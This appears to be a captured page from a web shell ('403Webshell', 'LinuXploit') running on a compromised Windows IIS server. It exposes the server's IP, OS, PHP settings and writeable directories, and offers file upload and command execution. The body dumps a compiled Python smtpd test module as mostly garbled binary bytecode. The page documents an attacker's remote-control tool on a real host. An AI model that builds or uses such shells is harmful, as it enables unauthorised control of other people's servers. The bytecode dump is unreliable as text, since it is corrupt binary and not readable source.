403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/test/support/__pycache__/smtpd.cpython-315.opt-2.pyc
R
>lqj�{c�j�]PHs]PHs]PHs]PHs]PHs]PHs]PHs]QHGsG	s	]QH(Gs]QH0G
s
Gs,QNs\O ]*sQsQ	Q
2s\2rQsQsQ
sQQksQQ\	O22sQQ\O62sQQ\2sQQ\2sQQ2sQs \!Q6XCc\ 2s"\"OFs#Q\#7c8\#OIQ2s%\&\#P\%\'2\(2P,2s)\#\%]*Ps#L]PH�s)\+\)\#2s,\,\"OZ\"O\1\"O^\"O`1\"Ob\"OdQ5s3\"Oh%c2]PH�s5\5OtQ2]*s;\Oh\;2\Oz2P!P!\6c*\7Q\OpQ5\Or]2Kqh9h\<c*\7Q\OpQ5\Or]2Kxh9h\>cP!h9h)�)�asyncore�asynchat)�warn)�
get_addr_spec�get_angle_addr�SMTPChannel�
SMTPServer�DebuggingServer�	PureProxyzPython SMTP proxy version 0.3c�.`�\sQs]\snQsQsQsUsP!)�Devnullc��P!�N���self�msgs&&�'C:\Python315\\Lib\test\support\smtpd.py�write�
Devnull.write]s��$�c��P!rr�rs&r�flush�
Devnull.flush^s��Trr)�__name__�
__module__�__qualname__�__firstlineno__rr�__static_attributes__�__classdictcell__��
__classdict__s@rrr\s������rr�
z, ic���[[[2*[OQ5U%c[U[OQ5[O
U2P!)��file)�print�__doc__�globals�sys�stderr�exit)�coders&&r�usager.gs3��	�'�G�I�
�C�J�J�/�
�
�c��
�
�#��H�H�T�Nrc�*`�\sQs]nsn]s]sQs\O\1Qk2s	\
Q2s\PP
P
1Qks
QsQs\
Q2s\O"Q2s\
Q	2s\O"Q
2s\
Q2s\O"Q2s\
Q
2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2sQsQsQsQ sQ!s Q"s!Q#s"Q$s#Q%s$Q&s%Q's&Q(s'Q)s(Q*s)Q+s*Q,s+Q-s,Q.s-Us.P!)/r�c��U!rr)�xs&r�<lambda>�SMTPChannel.<lambda>ss��qrc��[UOO22![cSOt!h9hr)�max�command_size_limits�values�
ValueError�command_size_limitrs&r�max_command_size_limit�"SMTPChannel.max_command_size_limitus<��	+��t�/�/�6�6�8�9�9���	+��*�*�*�	+�s�"&�	A�
A�Ac�^�[OOVUQ5VmV mV0mV@mV`mVpmU%cU%c[Q2gU%c"PUm
QUmQUm[UmL%QUm
QUm[Q2UmQUmUO!2PUmP
UmUO&O)2[*O,2UmUO12Um[=Q[?UO22[@Q	5UOCQ
UO.8Q[D802P![4c<oSO72SO8[8O:6wcgPo=P!Po=hh9h)��map�Fdecode_data and enable_SMTPUTF8 cannot be set to True at the same time�
�.r�
�.�
zPeer:r%z220 � )#r�
async_chat�__init__�smtp_server�conn�addr�data_size_limit�enable_SMTPUTF8�_decode_datar9�_emptystring�_linesep�_dotsep�NEWLINE�_newline�ord�_set_rset_state�
seen_greeting�
extended_smtpr7�clear�socket�getfqdn�fqdn�getpeername�peer�OSError�close�errno�ENOTCONNr'�repr�DEBUGSTREAM�push�__version__)	r�serverrJrKrLr?rM�decode_data�errs	&&&&&&&& rrH�SMTPChannel.__init__|sG�����$�$�T�S�$�9�!���	��	�.��.��'���{��@�A�
A�� "�D��"�D�M��D�L�#�D�M� #�D��#�D�M��t�9�D�L�!�D�M��������"���� � �&�&�(��N�N�$��	�	��(�(�*�D�I�	�g�t�D�I�I��[�9��	�	����K�8�9���	�
�J�J�L��y�y�E�N�N�*����
	�s$�E&�&	F,�0F,�1.F'� F'�'F,c��UOUmPUm,UmP
Um]UmUO
Q2P!)NrC)�COMMAND�
smtp_state�mailfrom�rcpttos�require_SMTPUTF8�	num_bytes�set_terminatorrs&r�_set_post_data_state� SMTPChannel._set_post_data_state�s8���,�,�����
���� %���������G�$rc�D�UO2PUm,UmP!��)rr�
received_data�received_linesrs&rrU�SMTPChannel._set_rset_state�s���!�!�#���� ��rc�>�[Q[]2UO!)zTAccess to __server attribute on SMTPChannel is deprecated, use 'smtp_server' instead�r�DeprecationWarningrIrs&r�__server�SMTPChannel.__server�s!���(�);�Q�	@����rc�6�[Q[]2VmP!)zRSetting __server attribute on SMTPChannel is deprecated, set 'smtp_server' insteadr{�r�values&&rr}r~�s���(�);�Q�	@� �rc�>�[Q[]2UO!)zUAccess to __line attribute on SMTPChannel is deprecated, use 'received_lines' instead�rr|rxrs&r�__line�SMTPChannel.__line�s!���+�,>��	C��"�"�"rc�6�[Q[]2VmP!)zSSetting __line attribute on SMTPChannel is deprecated, set 'received_lines' insteadr�r�s&&rr�r��s���+�,>��	C�#�rc�>�[Q[]2UO!)zRAccess to __state attribute on SMTPChannel is deprecated, use 'smtp_state' instead�rr|rlrs&r�__state�SMTPChannel.__state�s���'�(:�A�	?����rc�6�[Q[]2VmP!)zPSetting __state attribute on SMTPChannel is deprecated, set 'smtp_state' insteadr�r�s&&rr�r��s���'�(:�A�	?��rc�>�[Q[]2UO!)zXAccess to __greeting attribute on SMTPChannel is deprecated, use 'seen_greeting' instead�rr|rVrs&r�
__greeting�SMTPChannel.__greeting��!���*�+=�q�	B��!�!�!rc�6�[Q[]2VmP!)zVSetting __greeting attribute on SMTPChannel is deprecated, set 'seen_greeting' insteadr�r�s&&rr�r������*�+=�q�	B�"�rc�>�[Q[]2UO!)zSAccess to __mailfrom attribute on SMTPChannel is deprecated, use 'mailfrom' instead�rr|rmrs&r�
__mailfrom�SMTPChannel.__mailfrom�s���%�&8�!�	=��}�}�rc�6�[Q[]2VmP!)zQSetting __mailfrom attribute on SMTPChannel is deprecated, set 'mailfrom' insteadr�r�s&&rr�r��s���%�&8�!�	=��
rc�>�[Q[]2UO!)zQAccess to __rcpttos attribute on SMTPChannel is deprecated, use 'rcpttos' instead�rr|rnrs&r�	__rcpttos�SMTPChannel.__rcpttos�s���$�%7��	<��|�|�rc�6�[Q[]2VmP!)zOSetting __rcpttos attribute on SMTPChannel is deprecated, set 'rcpttos' insteadr�r�s&&rr�r��s���$�%7��	<��rc�>�[Q[]2UO!)zTAccess to __data attribute on SMTPChannel is deprecated, use 'received_data' instead�rr|rwrs&r�__data�SMTPChannel.__data�r�rc�6�[Q[]2VmP!)zRSetting __data attribute on SMTPChannel is deprecated, set 'received_data' insteadr�r�s&&rr�r��r�rc�>�[Q[]2UO!)zKAccess to __fqdn attribute on SMTPChannel is deprecated, use 'fqdn' instead�rr|r[rs&r�__fqdn�SMTPChannel.__fqdn����!�"4�a�	9��y�y�rc�6�[Q[]2VmP!)zISetting __fqdn attribute on SMTPChannel is deprecated, set 'fqdn' insteadr�r�s&&rr�r�����!�"4�a�	9��	rc�>�[Q[]2UO!)zKAccess to __peer attribute on SMTPChannel is deprecated, use 'peer' instead�rr|r]rs&r�__peer�SMTPChannel.__peerr�rc�6�[Q[]2VmP!)zISetting __peer attribute on SMTPChannel is deprecated, set 'peer' insteadr�r�s&&rr�r�r�rc�>�[Q[]2UO!)zKAccess to __conn attribute on SMTPChannel is deprecated, use 'conn' instead�rr|rJrs&r�__conn�SMTPChannel.__connr�rc�6�[Q[]2VmP!)zISetting __conn attribute on SMTPChannel is deprecated, set 'conn' insteadr�r�s&&rr�r�r�rc�>�[Q[]2UO!)zKAccess to __addr attribute on SMTPChannel is deprecated, use 'addr' instead�rr|rKrs&r�__addr�SMTPChannel.__addr"r�rc�6�[Q[]2VmP!)zISetting __addr attribute on SMTPChannel is deprecated, set 'addr' insteadr�r�s&&rr�r�'r�rc��[OOS[UQ*UO%cQLQ22P!)rA�utf-8�ascii)rrGrd�bytesrors&&rrd�SMTPChannel.push.s7����� � ��u��&�L�T�%:�%:�%:�'��(I�	Jrc���PoUOUO6XcUOoL'UOUO6Xc
UOoU%cUO
U6�cP!U%c#U9O
[
U2*
tmUO%c(UOO[UQ22P!UOOU2P!)Nr�)rlrkr;�DATArLrp�lenrNrx�append�str)r�data�limits&& r�collect_incoming_data�!SMTPChannel.collect_incoming_data3s������?�?�d�l�l�*��/�/�E�
�_�_��	�	�
)��(�(�E��T�^�^�e�+��
��N�N�c�$�i�'�N��������&�&�s�4��'9�:����&�&�t�,rc��UOOUO2o[Q[	U2[
Q5,UmUOUO6XCc.UO]tp mU%fUOQ2P!UO%f
[UQ2oUOQ2oU]6cUO2oPoL,UPUO2oV]*PO2oUO%cUO U*LUO"oV&6�cUOQ2P![%UQU*P2oU%fUOQU*2P!UU2P!UOUO&6wcUOQ2]UmP!UO(%c6UOUO(6�cUOQ	2]UmP!,oUO+UO,2FDNo	U	%c3U	]*UO.6XcUO1U	Q
*2J=UO1U	2JP	UO2OU2UmUO6UO8UO:UO41o
-oUO%fQUO<QUO>-oUO@OBU
-U@oUOE2U%fUOQ
2P!UOU2P!)zData:r%z500 Error: bad syntaxr�rFz500 Error: line too long�smtp_z&500 Error: command "%s" not recognizedz451 Internal confusionz552 Error: Too much mail data��NN�mail_options�rcpt_options�250 OK)#rO�joinrxr'rbrcrlrkrprdrNr��find�upper�striprWr7r:�getattrr�rL�splitrPrQr�rSrwr]rmrnr�r�rI�process_messagerr)
r�line�sz�i�command�arg�max_sz�methodr��text�args�kwargs�statuss
&            r�found_terminator�SMTPChannel.found_terminatorCs���� � �%�%�d�&9�&9�:��
�g�t�D�z��4� ����?�?�d�l�l�*�!%�����B����	�	�1�2���$�$�$��4��)���	�	�#��A��1�u��*�*�,�����r��(�.�.�*���Q�3�4�j�&�&�(���-�-�-��.�.�w�7�37�3J�3J�
��{��	�	�4�5���T�7�W�#4�d�;�F���	�	�B�W�L�M���3�K�����$�)�)�+��	�	�2�3�!"�����#�#�#�����9M�9M�(M��	�	�9�:�!"�����D��
�
�4�=�=�1���D��G�t�|�|�3��K�K��R��)��K�K��%�	2�
"&���!3�!3�D�!9�D���I�I�t�}�}�d�l�l�D�<N�<N�O�D��F��$�$�$�"�D�$5�$5�"�D�$5�$5����%�%�5�5�t�F�v�F�F��%�%�'���	�	�(�#��	�	�&�!rc��U%fUOQ2P!UO%cUOQ2P!UO2VmUOQUO*2P!)z501 Syntax: HELO hostname�503 Duplicate HELO/EHLOz250 %s)rdrVrUr[�rr�s&&r�	smtp_HELO�SMTPChannel.smtp_HELO�sX����I�I�1�2�������I�I�/�0������ ���	�	�(�T�Y�Y�&�'rc��U%fUOQ2P!UO%cUOQ2P!UO2VmP	UmUOQUO*2UO
%cBUOQUO
*2UOQ99*]*
tt$UO%fUOQ2UO%c1UOQ2UOQ99*]
*
tt$UOQ2P!)z501 Syntax: EHLO hostnamer�z250-%sz250-SIZE %s�MAILz250-8BITMIMEz250-SMTPUTF8z250 HELP)	rdrVrUrWr[rLr7rNrMr�s&&r�	smtp_EHLO�SMTPChannel.smtp_EHLO�s�����I�I�1�2�������I�I�/�0������ ��!����	�	�(�T�Y�Y�&�'������I�I�m�d�&:�&:�:�;��$�$�V�,��2�,�� � � ��I�I�n�%������I�I�n�%��$�$�V�,��2�,��	�	�*�rc�`�U%cUOQ2P!UOQ2P!)z501 Syntax: NOOPr��rdr�s&&r�	smtp_NOOP�SMTPChannel.smtp_NOOP�s����I�I�(�)��I�I�h�rc�J�UOQ2UO2P!)z221 Bye)rd�close_when_doner�s&&r�	smtp_QUIT�SMTPChannel.smtp_QUIT�s���	�	�)�����rc�r�[U2oUPUO2U6XcV#PO2!P!r)r�r�r�)r�keywordr��keylens&&& r�_strip_command_keyword�"SMTPChannel._strip_command_keyword�s8���W����w��<����7�*��w�<�%�%�'�'�rc���U%fQ!UO2OQ2%c[U2vq#L
[U2vq#U%fV#1!UOU1!)rv�<)rvrv)�lstrip�
startswithrr�	addr_spec)rr��address�rests&&  r�_getaddr�SMTPChannel._getaddr�sW����M��:�:�<�"�"�3�'�'�*�3�/�M�G�T�)�#�.�M�G���=� �� � �$�&�&rc��-oSFDOoUOQ2vq4oUO2%cU%c
U%fP!U%cSLP	V#$JQ	U!)�=)�	partition�isalnum)r�params�result�param�eqr�s&&    r�
_getparams�SMTPChannel._getparams�sJ�����E�$���s�3��E�u��=�=�?�?�b���%'�E�T�F�M�	�
�
rc���U%CcHQoUO2oUQ6XcUOQ2P!UQ6XcUOQ2P!UQ6Xc0QoUO%c	VB*
oUOU2P!UQ6Xc0QoUO%c	VB*
oUOU2P!UQ	6XcUOQ
2P!UQ6XcUOQ2P!UQ
6XcUOQ2P!UQ6XcUOQ2P!UQ6XcUOQ2P!UOQ2P!UOQ2P!)� [SP <mail-parameters>]�EHLOz250 Syntax: EHLO hostname�HELOz250 Syntax: HELO hostnamer�z 250 Syntax: MAIL FROM: <address>�RCPTz250 Syntax: RCPT TO: <address>r�z250 Syntax: DATA�RSETz250 Syntax: RSET�NOOPz250 Syntax: NOOP�QUITz250 Syntax: QUIT�VRFYz250 Syntax: VRFY <address>zD501 Supported commands: EHLO HELO MAIL RCPT DATA RSET NOOP QUIT VRFYzD250 Supported commands: EHLO HELO MAIL RCPT DATA RSET NOOP QUIT VRFY)r�rdrW)rr��extended�lc_argrs&&   r�	smtp_HELP�SMTPChannel.smtp_HELP�s$���3�0�H��Y�Y�[�F�����	�	�5�6��6�!��	�	�5�6��6�!�8���%�%�%��O�C��	�	�#���6�!�6���%�%�%��O�C��	�	�#���6�!��	�	�,�-��6�!��	�	�,�-��6�!��	�	�,�-��6�!��	�	�,�-��6�!��	�	�6�7��	�	�5�6�
�I�I�,�
-rc���U%cIUOU2vq#U%cUOQ2P!UOQU*2P!UOQ2P!)zB252 Cannot VRFY user, but will accept message and attempt deliveryz502 Could not VRFY %sz501 Syntax: VRFY <address>)r�rd)rr�r�rs&&  r�	smtp_VRFY�SMTPChannel.smtp_VRFY�sJ���"�m�m�C�0�O�G���	�	�1�2��	�	�1�C�7�8��I�I�2�3rc��UO%fUOQ2P![QU[Q5QoUO%c
UQ*
oUeUOU2P!UOQU2oUO
U2vq4U%fUOU2P!UO%fU%cUOU2P!UO%cUOQ2P!UO2O2Um
UOUO2oUeUOU2P!UO%f-UOQQ2oUQ7cUOQ	2P!UO%c:UOQ
P
2oUP	Ic	P	UmLUP
IcUOQ2P!UOQP2oU%ciUO!2%fUOU2P!UO"%c.[%U2UO"6�cUOQ
2P!['UO)22]6�cUOQ2P!V0m[QUO[Q5UOQ2P!)�503 Error: send HELO firstz	===> MAILr%z 501 Syntax: MAIL FROM: <address>rzFROM:z503 Error: nested MAIL command�BODY�7BITz1501 Error: BODY can only be one of 7BIT, 8BITMIME�SMTPUTF8z&501 Error: SMTPUTF8 takes no arguments�SIZEz:552 Error: message size exceeds fixed maximum message sizez:555 MAIL FROM parameters not recognized or not implementedzsender:r�)r�8BITMIME)rVrdr'rcrWr�r�rmr�r�r�rrN�poprMro�isdigitrL�intr��keys)rr��	syntaxerrr�r�body�smtputf8�sizes&&      r�	smtp_MAIL�SMTPChannel.smtp_MAIL�s���!�!�!��I�I�2�3��
�k�3�[�1�6�	������2�2�I��;��I�I�i� ���)�)�'�3�7���-�-��,�����I�I�i� ���!�!�!�f��I�I�i� ���=�=�=��I�I�6�7��"�L�L�N�0�0�2�������!2�!2�3���>��I�I�i� ��� � � ��:�:�f�f�-�D��/�/��	�	�M�N�������z�z�*�e�4�H��4��(,��%���&��	�	�B�C���z�z�&�$�'����<�<�>�>��	�	�)�$���%�%�%�#�d�)�d�6J�6J�*J��	�	�V�W���v�{�{�}���!��I�I�R�S���
�
�i����[�9��	�	�(�rc��UO%fUOQ2P![QU[Q5UO%fUOQ2P!QoUO
%c
UQ*
oUeUOU2P!UO
QU2oUOU2vq4U%fUOU2P!UO
%fU%cUOU2P!UO2O2Um
UOUO2oUeUOU2P![UO22]6�cUOQ2P!UOOU2[QUO[Q5UOQ	2P!)
rz	===> RCPTr%z503 Error: need MAIL commandz501 Syntax: RCPT TO: <address>rzTO:z8555 RCPT TO parameters not recognized or not implementedzrecips:r�)rVrdr'rcrmrWr�r�r�r�r�rr�r$rnr�)rr�r%r�rs&&   r�	smtp_RCPT�SMTPChannel.smtp_RCPT.sT���!�!�!��I�I�2�3��
�k�3�[�1��}�}�}��I�I�4�5��4�	������2�2�I��;��I�I�i� ���)�)�%��5���-�-��,�����I�I�i� ���!�!�!�f��I�I�i� ��"�L�L�N�0�0�2�������!2�!2�3���>��I�I�i� ���v�{�{�}���!��I�I�P�Q�������G�$�
�i����K�8��	�	�(�rc��U%cUOQ2P!UO2UOQ2P!)z501 Syntax: RSETr�)rdrUr�s&&r�	smtp_RSET�SMTPChannel.smtp_RSETQs-����I�I�(�)�������	�	�(�rc�8�UO%fUOQ2P!UO%fUOQ2P!U%cUOQ2P!UOUmUOQ2UOQ2P!)rz503 Error: need RCPT commandz501 Syntax: DATAs
.
z#354 End data with <CR><LF>.<CR><LF>)rVrdrnr�rlrqr�s&&r�	smtp_DATA�SMTPChannel.smtp_DATAXsp���!�!�!��I�I�2�3���|�|�|��I�I�4�5����I�I�(�)���)�)������L�)��	�	�7�8rc�*�UOQ2P!)z502 EXPN not implementedr�r�s&&r�	smtp_EXPN�SMTPChannel.smtp_EXPNgs���	�	�,�-r)rNrQrOrPrSrKrJrLrMrWr[r�rmrpr]r�rnrwrxrorVrIrl)/rrrrrkr�r:�collections�defaultdictr7�propertyr;�DATA_SIZE_DEFAULTrHrrrU�_SMTPChannel__server�setter�_SMTPChannel__line�_SMTPChannel__state�_SMTPChannel__greeting�_SMTPChannel__mailfrom�_SMTPChannel__rcpttos�_SMTPChannel__data�_SMTPChannel__fqdn�_SMTPChannel__peer�_SMTPChannel__conn�_SMTPChannel__addrrdr�r�r�r�r�r�r�r�rrrr)r,r/r2r5rr r!s@rrrns������G��D���%�1�1�;M�2P�Q��
�+��+�<M��5�e�%:�N%�!�� �� ��_�_�!��!�
�#��#��]�]�$��$�
����
�^�^� �� �
�"��"����#��#�
����������
����������
�"��"��]�]�#��#�
�����]�]����
�����]�]����
�����]�]����
�����]�]����J�

-� ;"�|
(��, ��
�	'�	�!-�F	4�4�l!�F�9�.�.rc�D`�\sQsQsn\s\PP
P
1QksQsQs	Qs
UsP!)r�kc	��VmV mV0mVPmV`mU%cU%c[Q2g[OOVQ5[O%c]L[Oo[OUQUQ[O-oUOU]*]*U]*]*2UO2UO!U2UO#]2[%UO&O(8Q[*O,[*O*228QU8QU80[.Q5P!SO12g9h)r@r>�family�typez started at z
	Local addr: z
	Remote addr:r%)�
_localaddr�_remoteaddrrLrMrNr9r�
dispatcherrHrY�has_ipv6�AF_INET�getaddrinfo�SOCK_STREAM�
create_socket�set_reuse_addr�bind�listenr'�	__class__r�time�ctimercr_)	r�	localaddr�
remoteaddrrLr?rMrgrJ�gai_resultss	&&&&&&&  rrH�SMTPServer.__init__os!��$��%��.��.��'���{��@�A�
A����$�$�T�$�3�	:� �/�/�/�Q�v�~�~�F� �,�,�i�F��F�28�2D�2D�F�K����{�1�~�a�0�+�a�.��2C�D����!��I�I�i� ��K�K��N�

����'�'����D�I�I�K�)@��:�'�-8�
:��		��J�J�L��s�E(�2BE(�(E;c	���[Q[U2*[Q5UOUUUUOUO
UOUO2oP!)zIncoming connection from %sr%)r'rbrc�
channel_classrL�_maprMrN)rrJrK�channels&&& r�handle_accepted�SMTPServer.handle_accepted�sP��
�+�d�4�j�8�{�K��$�$�T�%)�%)�%)�%9�%9�%)�Y�Y�%)�%9�%9�%)�%6�%6�
8�rc��[gr)�NotImplementedError�rr]rmrnr�r�s&&&&&,rr��SMTPServer.process_message�s
��>"�!r)rNrLrMrLrM)rrrrrr_r:rHrbr�rr r!s@rrrks*�����M�"3��!&�E�:�:8�"�"rc�.`�\sQsQsnQsQsQsUsP!)r	�c�R�]oUO2oSFD�oU%cVU%fNQU]**o[U[2%f[UO	Q22o[U2]o[U[2%f[U2o[U2J�	P!)r�zX-Peer: r�)�
splitlines�
isinstancer�rb�encoder')rr]r��	inheaders�linesr��
peerheaders&&&    r�_print_message_content�&DebuggingServer._print_message_content�s|���	����!���D���'�$�q�'�1�
�!�$��,�,�!%�j�&7�&7��&@�!A�J��j�!��	��d�C�(�(��D�z���$�K�rc�&�[Q2U%caUOQ2%c[QUQ**2UOQ2%c[QUQ**2UOV2[Q2P!)z%---------- MESSAGE FOLLOWS ----------r�zmail options: %sr�zrcpt options: %s
z%------------ END MESSAGE ------------)r'�getrqrfs&&&&&,rr��DebuggingServer.process_message�si��
�5�6���z�z�.�)�)��(�6�.�+A�A�B��z�z�.�)�)��*�V�N�-C�C�D��#�#�D�/�
�5�6rr)rrrrrqr�rr r!s@rr	r	�s�����"7�7rc�@``�\sQsQsnU1QksQsQsQsUsU9s	!)r
��c�v:�QU7cUQ*%c[Q2g[[U_U-U@P!)rMz$PureProxy does not support SMTPUTF8.)r9�superr
rH)rr�r�rWs&*,�rrH�PureProxy.__init__�s6�����&�6�2C�+D�+D��C�D�D�
�i��'��8��8rc��UOQ2o]oSFDoU%fL
U]*
oJ	UOUQU]**2[OU2oUO	V#U2o[QU[Q5P!)r#z
X-Peer: %szwe got some refusals:r%)r��insertrRr��_deliverr'rc)	rr]rmrnr�ror�r��refuseds	&&&&&    rr��PureProxy.process_message�sr���
�
�4� ��
���D���
��F�A��	���Q��t�A�w�.�/��|�|�E�"���-�-��4�8��
�%�w�[�Arc�P�]PHo-oUO2oUOUO]*UO]*2UO	VU2oUO2U!SO2h9hSOc)o[Q[Q5SOoPo=S!Po=h[SO1cQo[QSO[Q5[SQP2o[SQQ2o	SFDo
X�1XZ$J
	Po=S!Po=hh9h)rzgot SMTPRecipientsRefusedr%�got�	smtp_code�
smtp_error�ignore)�smtplib�SMTP�connectrM�sendmail�quit�SMTPRecipientsRefusedr'rc�
recipientsr^�
SMTPExceptionrWr�)rrmrnr�r�r~�s�e�errcode�errmsg�rs&&&&       rr}�PureProxy._deliver�s������	/�����A�
�I�I�d�&�&�q�)�4�+;�+;�A�+>�?�
��*�*�X��=���������������,�,�	#��-�K�@��l�l�G������.�.�/�	/��%����;�7��a��b�1�G��Q��h�7�F���%�.��
�����	/�sI�AB�A2� B�2B�B�D%�D%�B;�;D%�D%�AD � D%r)
rrrrrHr�r}rr �
__classcell__)rWr"s@@rr
r
�s����9�
B��rc�(�\sQsQsP	sQsPsP
sQsP!)�Options�r
r)	rrrr�setuid�	classname�
size_limitrMrrrrr�r�s��
�F��I��J��Orr�c��[O[OQ*Q,QN2vq[2oWFD�vqEUQ
7c[	]2JUQ7c([
[2[O]2JGUQ7c
P
Um	JWUQ7c	VSm
JfUQ7c[OrJUQ7c
P	Um
J�UQ7fJ�[U2oVcmJ�	[!W2]6cQoQoLe[!U2]6c
U]*oQoLI[!U2]6cU]*oU]*oL&[	]Q["O%U2*2WO'Q2o	U	]6c[	]QU*2UPU	Um[Vy]*P2UmWO'Q2o	U	]6c[	]Q
U*2UPU	Um[V�]*P2UmU![Oco[	]S2Po=CK�Po=hh9h[
QS*[OQ5[O]2CJ59h[,c[	]Q	S*2K�h9h[,c[	]QS*2S!h9h)r�z	nVhc:s:duzInvalid size: r%zlocalhost:8025zlocalhost:25zInvalid arguments: %s�:zBad local spec: %szBad local port: %szBad remote spec: %szBad remote port: %s)zclass=�nosetuid�version�helpzsize=�debugr')z-hz--help)z-Vz	--version)z-nz
--nosetuid)z-cz--class)z-dz--debug)z-uz
--smtputf8)z-sz--size)�getoptr*�argv�errorr.r�r'rer,r�r�r+rcrMr#r�r��
COMMASPACEr�r��	localhost�	localportr9�
remotehost�
remoteport)
�optsr�r��options�optr��int_size�	localspec�
remotespecr�s
          r�	parseargsr�sc����]�]��H�H�R�L�+�
��
���i�G�����"�"��!�H�
�'�
'��+���H�H�Q�K�
�(�
(�"�G�N�
�%�
%� #��
�%�
%��*�*�K�
�(�
(�&*�G�#�
�$�
$�
��s�8��%-�"�#�.�4�y�1�}�$�	�#�
�	�T��Q����G�	�#�
�	�T��Q����G�	��!�W�
�
�a�(�:�?�?�4�+@�@�A�	���s��A��1�u�
�a�%�	�1�2�!�"�1�
�G��3��	�A�#�$��0���	�����A��1�u�
�a�&��3�4�#�B�Q��G��5� ��a�C�D�!1�2����N��q�<�<��
�a�������,
��&��,�3�:�:�>��������,�3�
�a�%�	�1�2�3���5�
�a�&��3�4��N�5�sY�1H	�H8�I9�.J�	H5�H5�H0�0H5�8:I6�9	J�J�J�	J?�'J?�>J?�__main__rB)rMz7Cannot import module "pwd"; try running with -n option.r%�nobodyz3Cannot setuid "nobody"; try running with -n option.)rrr	r
ru)?r*�osr`r�rXrYr7�test.supportrr�warningsr�email._header_value_parserrr�__all__r��programrerrcrRr�r:r.rGrrNrr	r
r�r�rr�r��rfind�lastdot�
__import__r)�locals�modr�r��class_r�r�r�r�r�rM�proxyr��pwd�ImportErrorr'r+r,�getpwnamr��PermissionError�loop�KeyboardInterruptrrr�<module>r�s$��R�	��
��
��+��D����(�(�1�+��-����
�i��
��
�
����z.�(�%�%�z.�zK"��$�$�K"�\7�j�7�<*�
�*�Z��?�D�z���k�G��!�!�I�
�i���/�/�#�&����8�G�,�g�i���B�4�H���g�a�i�j�)�	��
�S�)�
$�F��G�%�%�w�'8�'8�9��&�&��(:�(:�;��%�%�w�7N�7N�
P�E��~�~�~�	�����h�'��*��	��I�I�f��
��
�
��7��"�	��K�RU�R\�R\�]��H�H�Q�K�	���	��G�c�j�j�Y��H�H�Q�K�	��
�
��
�sH�;G�G4�,H'�G1�'G1�0G1�4H$�:'H$�#H$�'H2�-H2�1H2

Youez - 2016 - github.com/yon3zu
LinuXploit